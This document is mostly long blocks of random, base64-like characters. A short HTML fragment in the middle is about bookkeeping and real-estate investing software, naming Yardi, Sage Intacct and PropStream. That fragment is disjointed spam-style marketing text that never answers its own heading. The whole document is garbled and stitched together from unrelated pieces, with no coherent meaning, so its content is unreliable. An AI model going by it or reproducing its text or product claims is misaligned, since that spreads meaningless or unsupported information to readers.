xPPRJvJN6lrQ2fTiSkVOJJbZLR51deuOyDtdNNG3c6hMo01EGSgADn4Jjl+XpPlvRYej3ooy02xgilgh5T5uXigsiamjedy1xmxjajnhxJSaPBomqb9GmJ0UwaGq39FwjjidoYWMdFigZuY4xj8uMdgNFP5zR4Wr5UxYzx5HlcsJ21Mvty8VtapsnZa71I0aIVYN1a9I3GhyWUiORhznfkkhM9+K2LZ2VlZ676/Fq7uPUxdMfR6OtRyojVsboX7fLv8A9Dm2pdr/ANZsBVLstTdhyqUMxMja5JU8lEKiCHAks4iJ0DCsRmLndOP74i7YfHuc1H66Q/ajIkdOpxR4WKqpelGi5F4yjBuv9uXitbQvJ2eO1/u+UfMLSn85VRpColqRmaLk4RXo1EU8DyyYwJLhi6rGApW1qdo0ka/B+42uSmcDTVlO1c5q8JKc11UUSRsmpLT+NxTt+I5LdMllLTHjtMXT3YxGsKRyhMk2yFSRXKVKnTRHsM4QcVswEEEQKUE3qHr8raQN/owKxc6EMlqDpMql04xwm1E+rGjRcj6mSYst/ty8V7xQydljtelufKNTyXQmt2i0EhUomWTUjawSJNBz0fMEHUoyC4q1gbEsoqGV6X/fUF+usRPKnlQyO7ke3/n+fv8AmK+EuI8I1HIqR9rLCXWdym6aFbOjg+qFBCXQo5ZJKiVZxKNNytrkyoWZe5ix6mKEpxsFj/gjXv8AR8PJJhdKi0brclnGr6GRpDTvbPVBCRd3A90JKu8Cv/hZ49U7XIYhfvYbqZonTB1W6OXMhITfAh/zhPG4xsyvhcrqFxjkhFyqhEIX2sd0+39VJLCHZvx8Z+vVAPW+w8yXXZHJQj8iqElb5QrdV6hSjTqQG5smBhfyXshnTLoLSlyQonWoavwpuS+CGRYXlOZzqNTVtZpFZdM3BLMBLjd7wWTkSiTYdVFtqG14Q9UKQ+t5D+QqcWGYCXJvQJX4s6K9GUVrdoWb8L9EK+3uiKSl5Wsbp9s/dr924mcmczTA2dvpnPNFa21IlwouGn7del0snN2gKgyOKZMbqlbuuRMtYQhzsUYY8YqFEsUq0OBvJZc5uKlkb1N0cDyWQgqCt4cY20Cy7OOumYo8+O9C9SjR2rDujrhMMySgRKa6p6CKdAy6YFnQtolGYzTDC/hTIauLfdTUFieqQ1rm7BvlSSoSDpZMsivKNQmQaapzoupBZWvQM9dZFahvOjGOt9Mb0tTLtM0aZI9scP7vMhhU8IipKn02rrXBod6fJmFvVy8UpUS8ogWcQRiKKsomllZH4XwgwNIlRI/U9lS1GhSJ1Lq8E6FwUEEYjj4FLsRVrvuLpDeFKqeVXV1rqdUCeZPIloidGYlMTAhcUsIgfZFYioRJjq6ncGEyzRKrDvgsTHRGZJOIZHFrUkKmhSocCzil8b1amlZLHZYvtBN0xENntY3Sr2+owO/rC/UZlCZoV9hPyOlTnKUqKpRKbYQPITkwPOKgTq4ijOnZQ/dqi41o91PRLuOXkxLSCSqqutYFdVahyYllJMllgiW06GK4tZFQbCzhAzJR6dnj/cLzVCn84THX6mU5NLNFS0MMVl+UQOKjAi1x2eTx6nSFe56YuE6zHhT9k+024RMoOd3hlaHRNhWL1bOlVKETkRo0x6gnKpo3w3WtznQ/dAX5c4wlJ3oNO2g5ymmy1uPh7yVrtftYDJVVGalRS4QMIy5ihPyghSxZ+nz7Lm/C5LUNx5UfisVG6jTNRGnEtyrLdvNErICm9ent05V3JNb7NTCJtrZYoxxQFjyaynlkJlsev6s1MLo/H8s1geh5HZBwbUC5jPek6h2XOKlvIhoM+iYrJMKKynTiUZi1dTV+UZg1UbqZMVOayy3opOWsWhmZ3IeWJvOs46JRC2ibEqFnqc4sr3hnFT6UzkmlelK6SmhO5vVMT0eNBblFRUFlFFRMyuOHPiVD5Ix54x9io5VRVSypq1ZoORqaJxeIPaJOncNUmyOtYl2pXdNh8gxtFHKTmhsRv/vPIdDnLoUtG0MhTrCdJlghSNjzCWIsr7KJzfoCCSTiitlQL8F3YYxry7IkWAXfkSJKQodXb1rgoJJyx9ktxFQNj73S7kBtimVPqkOtSplqPO8tJJT01ljSW534s2Kg2BRcLyZZR50bOEecMWZaOVTeMG14o48S0Q2rmxVBW1H34o8pdlrU2ELOMbP5Rhj0Q2dGxuYue/6vnEJd/wCZcZZbkUuYTylC0IkrYmUyATbpk5FiTqwK6XyQFmwf6cIJtwYntC0IG1PML5olqXTDRJ8R8cWtlRN6RQyqnck1KdamOdSp5lpJLcORfSROhv5Zxyg7J5XJD5S+ls+s+Du5SAr9cyzAq0S2KfGoxRJN6llSsY8VNXyeSv5MNjXVfz+fr7AhM/1hZMHdHLiqck0VqOEuTjKLByOu7DYaAnTArprbXd1Ssep0oYtSOr0accOd6VyPVRXUdnm+d5Y0TJpFLekpyqK4pYc7GQxwgbz48/Hq7mKGrEb9FTzgmJfGkllbdcQOOERxwiOOEJxwpSzBxwpTjgOOFIccJgDs82ZsYYrT5yWo5e9j9Yt2rqNLeEI9dS/RGjJTjhh8wsL0sdtOpcekzYoVJ7sovCe2vBPUvC5U0WVE/B2MmlWI17Ux9unCS5bmFyRadJdLnXOU/wAXOtcqULgrqcyrFdylu9TOp7Hb09t403WhZHekqJZnqx5VOb1sm8OFnY96siskCRhkuZNmSxpY9JdkXdRYHJ/FdSF43oj5ylQrpaIwmuphJnRG7KUSxElbNP1Gxk6i3y2SK10YpOLPpPmSMbAfGdbyQqebTmqbWCwzlQotzsqNfqzlqx2UsrwtvSlKoHYobnTocw7sXGP6fLbpchE0nA7Ixb247OxMDMCVlzmFtW9bbGUd5NG6rFFdEyJ4RKlV12Pm9uSo3o0aqllHfLsNwOOJHmXYubCpvDsCSxtCc7juAAAfEjuQAAAAiVo0SxIpRLEV6TKk92UJ1HXBIlAZ1BStLOiZ0iZlZ0SVMnS7HTp09gSKoAEusyAAAIQAABkAAAAAABgAAAAAAAAAAGRuAAADcAAA1G4AABqNwAADWRuAitgEJxwlMg44RWwCIDAEJxwHHClDeCURWwhOOERxwl3gHHCI44DjhSHHDI3A44RHHAccKQTglthSnHAccKQBoLYRHHAccKQ44S9/eAccIjjhCccIjjhMZBxwpDjgOOFKccJQSnHCkOOA44UpxwGAccMfe21Esz25c0Uqc+7qexxdTjhSHHDbo24HZSFys6sRisskokcvKUSxbpm4uuyE3Vrb7Lwox+Yab3xWmekeybvnA2AccKS2HRJu7kNKh1oS9RoR7lvswWUlHc9hjoVWjZViu+vDKlVfFtZvHihuWpuDrySU9ZJnkPkFlhlVZzzGbzTlijJdVNNNHRJu6nnOutzUGimOic6SfKaaoM4XVsTKuh7coUZ4oJ32y6kVlSgOOHWtF5Jkt4pPMklrL0qenVPdnB6cFFssUWWtZXeit6HIrsjWs7spZVmyEqi7KBRXfK9peWfCd6gPOnljVbe1iR+IqfOQ5Y1W3tYkfiKnzkcv1LuHxQbe2aM9FgHnTyxqtvaxI/EVPnIcsarb2sSPxFT5yHUu4fFA2zRnosA86eWNVt7WJH4ip85DljVbe1iR+IqfOQ6l3D4oG2aM9FgHnTyxqtvaxI/EVPnIcsarb2sSPxFT5yHUu4fFA2zRnosA86eWNVt7WJH4ip85DljVbe1iR+IqfOQ6l3D4oG2aM9FgHnTyxqtvaxI/EVPnIcsarb2sSPxFT5yHUu4fFA2zRnosA86eWNVt7WJH4ip85DljVbe1iR+IqfOQ6l3D4oG2aM9FgHnTyxqtvaxI/EVPnIcsarb2sSPxFT5yHUu4fFA2zRnosA86eWNVt7WJH4ip85DljVbe1iR+IqfOQ6l3D4oG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width="259px" alt="best bookkeeping software for real estate investors"/></p>
<p><h2>Should a REIT use Yardi or Sage Intacct?</h2>
</p>
<p><p>Experienced real estate investors and analysts who need customizable, standards-compliant pro formas and are proficient in Excel. Finding the best real estate software for investors means identifying the biggest bottleneck in your operation and applying the best solution. PropStream is a powerful tool that helps you source deals directly by providing property-level data, comparable sales, and ownership records. It allows you to search with over 165 filters to find specific properties, such as pre-foreclosures or vacant homes, and comes with marketing tools to contact motivated sellers. You can open unlimited checking and savings accounts for each property and security deposit, ensuring a clear separation of funds that simplifies tax time.</p>
</p>
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